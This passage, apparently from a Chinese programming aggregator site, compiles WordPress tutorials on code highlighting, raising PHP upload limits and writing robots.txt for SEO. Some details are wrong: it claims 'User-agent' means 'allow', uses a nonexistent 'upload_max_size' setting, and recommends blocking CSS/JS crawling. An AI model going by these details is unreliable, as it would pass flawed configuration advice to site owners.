}
  1. 删除后,更新文件

六、如何使用

在需要插入代码的地方,将wordpress的富文本编辑器从【可视化】切换到【文本】,然后使用以下代码包住需要显示的代码

<pre><code class='html'> // 需要什么语言,class中就写什么语言,不清楚可以看官方文档
// 放的代码,如
<head></head>
</code></pre>

七、html代码的高亮显示

如果需要高亮现实html或者以’<’开头的代码,如,<?php等,需要对’<’进行转义,否则会被当成html代码解析,导致无法显示。

如需显示以’<’开头的代码,将’<’写成’&lt;’即可。

修改WordPress上传文件大小限制的三种方法

我们手动安装插件,手动上传附件,多媒体文件时,WordPress的媒体文件上传可以看到,大多数都是2MB或者8MB。如果是图片的话可能会还够用,但是如果是音频和视频文件就不一定够用了,今天要分享的方法就是增大文件上传限制的大小。不过如果你的主机商有特别严格的限制,本文的方法就不确定可以实现了。一般的主机商都可以实现。

通过.htaccess修改限制

在网站根目录的 .htaccess 文件中添加如下代码。

php_value upload_max_filesize 64M

php_value post_max_size 64M

php_value max_execution_time 300

php_value max_input_time 300

通过php.ini破除限制

新建一个php.ini文件,在你的主机空间的根目录新建一个php.ini文件,或者修改Php目录下的PHP.ini里面使用如下代码。

upload_max_filesize = 64M

post_max_size = 64M

max_execution_time = 300

通过functions.php破除限制

在functions.php中添加如下代码,这样上传限制就是64M

@ini_set( ‘upload_max_size’,’64M’ );

@ini_set( ‘post_max_size’,’64M’);

@ini_set( ‘max_execution_time’,’300′ );

建议

WP是用Php语言开发,建议通过修改php目录下的Php.ini文件来破除上传文件大小的限制。

总结

以上是编程之家为你收集整理的修改WordPress上传文件大小限制的三种方法全部内容,希望文章能够帮你解决修改WordPress上传文件大小限制的三种方法所遇到的程序开发问题。

如果觉得编程之家网站内容还不错,欢迎将编程之家网站推荐给程序员好友。

wordpress的robots.txt创建和详细设置教程

Robots.txt

robots.txt文件主要用于各个搜索引擎的蜘蛛爬取规则,合理设置robots.txt文件,可以让蜘蛛爬取,和不准许蜘蛛爬取的页面,这样有助于网站的seo

工具/原料

  • windows系统的电脑

方法/步骤

  1. 1

    首先打开电脑,依次点击“开始——所有程序——附件——记事本”

    wordpress的robots.txt创建和详细设置教程
  2. 2

    打开记事本文件

    wordpress的robots.txt创建和详细设置教程
  3. 然后输入User-agent,表示“允许”的意思

    wordpress的robots.txt创建和详细设置教程
  4. 按照这样的写法就可以User-agent: *,其中“*号”表示允许所有的蜘蛛抓取,如果你写的是“User-agent: Baiduspider”  ,那么就是只允许百度的蜘蛛来抓取。

    wordpress的robots.txt创建和详细设置教程
  5. 这样写  Disallow:/*?*  禁止抓取动态的页面。这样的好处是,如果你的网址做了伪静态的话,如果不禁止,那么等于蜘蛛重复抓取了你网址的静态页面和动态页面,这样就不利于seo,所以如果你网站做了伪静态一定要禁止蜘蛛抓取动态链接。

    wordpress的robots.txt创建和详细设置教程
  6. 这样写   Disallow: /wp-admin/   就是禁止蜘蛛抓取  /wp-admin/  目录,为什么禁止这个目录?这个地址是wordpress默认的后台登录地址,没有必要让蜘蛛抓取,这是属于重复页面(因为每个人的wordpress后台登录界面都一样)。

    wordpress的robots.txt创建和详细设置教程
  7. 这样写   Allow: /wp-admin/admin-ajax.php  表示允许蜘蛛抓取这个目录的文件

    wordpress的robots.txt创建和详细设置教程
  8. 这样写  Sitemap: https://www.你的网址.com/sitemap.xml  让蜘蛛访问你的网站地图

    wordpress的robots.txt创建和详细设置教程
  9. 然后写完了所有的内容,就是这样的格式。

    wordpress的robots.txt创建和详细设置教程
  10. 然后保存txt文件,并命名为“robots.txt”

    wordpress的robots.txt创建和详细设置教程
  11. 然后把robots.txt文件上传到你的网站根目录

    wordpress的robots.txt创建和详细设置教程
  12. 然后在你的浏览器地址栏目中,输入你的网址,加上/robots.txt就可以成功的访

    wordpress的robots.txt创建和详细设置教程
    wordpress的robots.txt创建和详细设置教程

    说到 robots.txt 大家已经都不会陌生了,但是有些时候很多的细节却还是没有被大多数人注意,比如子凡就忽略了一个细节,导致最近的一些文章在搜索引擎结果中出现了重复而没有意义的链接,如果你也是使用的WordPress,不妨你也看看你自己的 robots.txt 文件。

     

    如果你的 WordPress 站点还没有 robots.txt 文件,那么子凡觉得你就更有必要添加一个了,即使你的站点可以让搜索引擎随意抓取,因为搜索引擎机器人访问网站时,首先会寻找站点根目录有没有 robots.txt 文件,如果有这个文件就根据文件的内容确定收录范围,如果没有就按默认访问以及收录所有页面。另外,当搜索蜘蛛发现不存在 robots.txt 文件时,会产生一个 404 错误日志在服务器上,从而增加服务器的负担,因此为站点添加一个 robots.txt 文件还是很重要的。

    好了,还是来分享一个经过子凡整理的比较完善的适用于 WordPress 的 robots.txt 文件内容吧!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
    User-agent: *
    Disallow: /wp-admin/
    Disallow: /wp-content/
    Disallow: /wp-includes/
    Disallow: /trackback/
    Disallow: /comments/
    Disallow: /attachment/
    Disallow: /comments/feed
    Disallow: /feed
    Disallow: /*/feed
    Disallow: /*/comment-page-*
    Disallow: /*?replytocom=*
    Disallow: /*/trackback
    Disallow: /?s=*
    Disallow: /*/?s=*\
    Disallow: /wp-*.php
     
    Sitemap: http://yourdomain.com/sitemap.html

    使用方法:新建一个名称为 robots.txt 文本文件,将以上的内容放进去,然后上传到网站根目录即可。

    最后还是简单的解析一下其对应作用

    1、User-agent: *

    允许所有搜索引擎抓取网站,除非你网站有特别针对某个或多个搜索引擎,你可以适当的设置其抓取。如下只允许百度和谷歌抓取:

    1
    2
    3
    4
    
    User-agent: Baiduspider
    Disallow: /
    User-agent: Googlebot
    Disallow: /

    这样设置的意思为只允许百度和谷歌的蜘蛛抓取所有,但是这里子凡用的是 Disallow 并设置的/根目录,所以这里其实是禁止了百度和谷歌抓取,如果要允许所有可以使用Allow,大家可以举一反三的使用,仔细的体会感受一下。

    2、Disallow: /wp-admin/、Disallow: /wp-content/和 Disallow: /wp-includes/
    用于告诉搜索引擎不要抓取后台程序文件页面。

    3、Disallow: /*/comment-page-*和 Disallow: /*?replytocom=*
    禁止搜索引擎抓取评论分页等相关链接。

    4、Disallow: /category/*/page/和 Disallow: /tag/*/page/
    禁止搜索引擎抓取收录分类和标签的分页。(这一条子凡并未添加到上面演示,因为不同 WordPress 站点可能会有所不同,大家可以根据需要添加)

    5、Disallow: /*/trackback 和 Disallow: /trackback/
    禁止搜索引擎抓取收录 trackback 等垃圾信息

    6、Disallow: /feed、Disallow: /*/feed 和 Disallow: /comments/feed
    禁止搜索引擎抓取收录 feed 链接,feed 只用于订阅本站,与搜索引擎无关。

    7、Disallow: /?s=*和 Disallow: /*/?s=*\
    禁止搜索引擎抓取站内搜索结果

    8、Disallow: /attachment/
    禁止搜索引擎抓取附件页面,比如毫无意义的图片附件页面。

    9、Disallow: /wp-*.php
    禁止搜索引擎抓取 WordPress 网站根目录的以 wp 开头的文件。

    10、Sitemap: http://yourdomain.com/sitemap.html
    这个就是为了方便搜索引擎利用的网站地图,具体的根据自己网站需要添加。

    robots.txt是搜索引擎爬行网站的控制文件,按照一定的语法告诉搜索引擎哪些网页能爬,哪些不能爬,对于robots.txtd的介绍和书写语法,你可以参考这篇博文:网络蜘蛛访问控制文件robot.txt的写法 。

    可能你想说,收录量不是越多越好吗?

    其实不然,网站的网页不是收录越多越好,大家都知道搜索引擎比较网络上的网页相似度(相似度太高的两个页面会分散权重)的时候,不仅仅会进行不同网站间的纵向比较,而且会进行同一网站不同页面间的比较,所以,比如对于个人博客的作者归档和首页,页面内容差不多一样,我们完全可以屏蔽蜘蛛访问作者归档的页面。下面我来详细地介绍一下wordpress怎样写robots.txt利于SEO优化。

    WordPress怎样写Robots.Txt利于SEO优化

     

    一、屏蔽没有必要收录的一些链接

    1、屏蔽捉取站内搜索结果

    Disallow: ?s=*

    这个就不用解释了,屏蔽捉取站内搜索结果。站内没出现这些链接不代表站外没有,如果收录了会造成和TAG等页面的内容相近。

    2、屏蔽Spider捉取程序文件

    Disallow: /wp-*/

    屏蔽spider捉取程序文件,wp-*表示wp-admin,wp-include等文件夹都不让搜索蜘蛛爬行,这节约了搜索引擎蜘蛛资源。

    3、屏蔽Feed

    Disallow: /feed/*
    Disallow: /*/*/feed/*
    Disallow: /*/*/*/feed/*

    头部代码里的feed链接主要是提示浏览器用户可以订阅本站,而一般的站点都有RSS输出和网站地图,故屏蔽搜索引擎抓取这些链接,相当有必要,应为feed里面的内容基本就是你文章内容的重复,相同内容会让百度降低单页面权重,同时这也节约蜘蛛资源和服务器的压力。

    4、屏蔽捉取留言信息链接

    Disallow:/*?replytocom*
    Disallow: /comments/
    Disallow: /*/comments/

    屏蔽留言信息链接。需要指出的是,屏蔽留言信息链接不是说不让蜘蛛收录你文章的评论页面,而是这样的链接打开后,整个页面就只有一个评论,完全没有被收录的必要,同时也节约蜘蛛资源,故屏蔽之。

    5、屏蔽其他的一些链接,避免造成重复内容和隐私问题

    Disallow: /date/
    Disallow: /author/
    Disallow: /category/
    Disallow: /?p=*&preview=true
    Disallow: /?page_id=*&preview=true
    Disallow: /wp-login.php

    这些屏蔽规则你可以根据自己的需求决定是否创建,屏蔽data、author、category等页面都是为了避免太多重复内容,

    6、Disallow: /?P=*

    屏蔽捉取短链接。默认头部里的短链接,百度等搜索引擎蜘蛛会试图捉取,虽然最终短链接会301重定向到固定链接,但这样依然造成蜘蛛资源的浪费。

    7.屏蔽特定格式

    Disallow: /*.js$
    Disallow: /*.css$

    屏蔽对js、css格式文件的抓取,节约蜘蛛资源,降低服务器压力,你可以根据实际要求是否屏蔽你的图片被抓取。

    8.其它不想被抓取的页面

    Disallow: /*?connect=*
    Disallow: /kod/*
    Disallow: /api/*

    • /*?connect=*:我的博客登录链接
    • /kod/*:在线文件管理链接
    • /api/*:我自制的API链接

    二、使用Robots.Txt需要注意的几点地方:

    • 1、有独立User-agent的规则,会排除在通配“*”User agent的规则之外;
    • 2、指令区分大小写,忽略未知指令,下图是本博客的robots.txt文件在Google管理员工具里的测试结果;
    • 3、“#”号后的字符参数会被忽略;
    • 4、可以写入sitemap文件的链接,方便搜索引擎蜘蛛爬行整站内容。
    • 5、每一行代表一个指令,空白和隔行会被忽略;
    • 6、尽量少用Allow指令,因为不同的搜索引擎对不同位置的Allow指令会有不同看待。

    上面的这些Disallow指令都不是强制要求的,可以按需写入。也建议站点开通百度站长工具,检查站点的robots.txt是否规范。

    三、百度站长工具Robots.Txt工具的使用方法

    百度站长工具robots.txt工具网址:http://zhanzhang.baidu.com/robots/index

    wordpress怎样写robots.txt利于SEO优化

    百度站长工具robots.txt工具的使用方法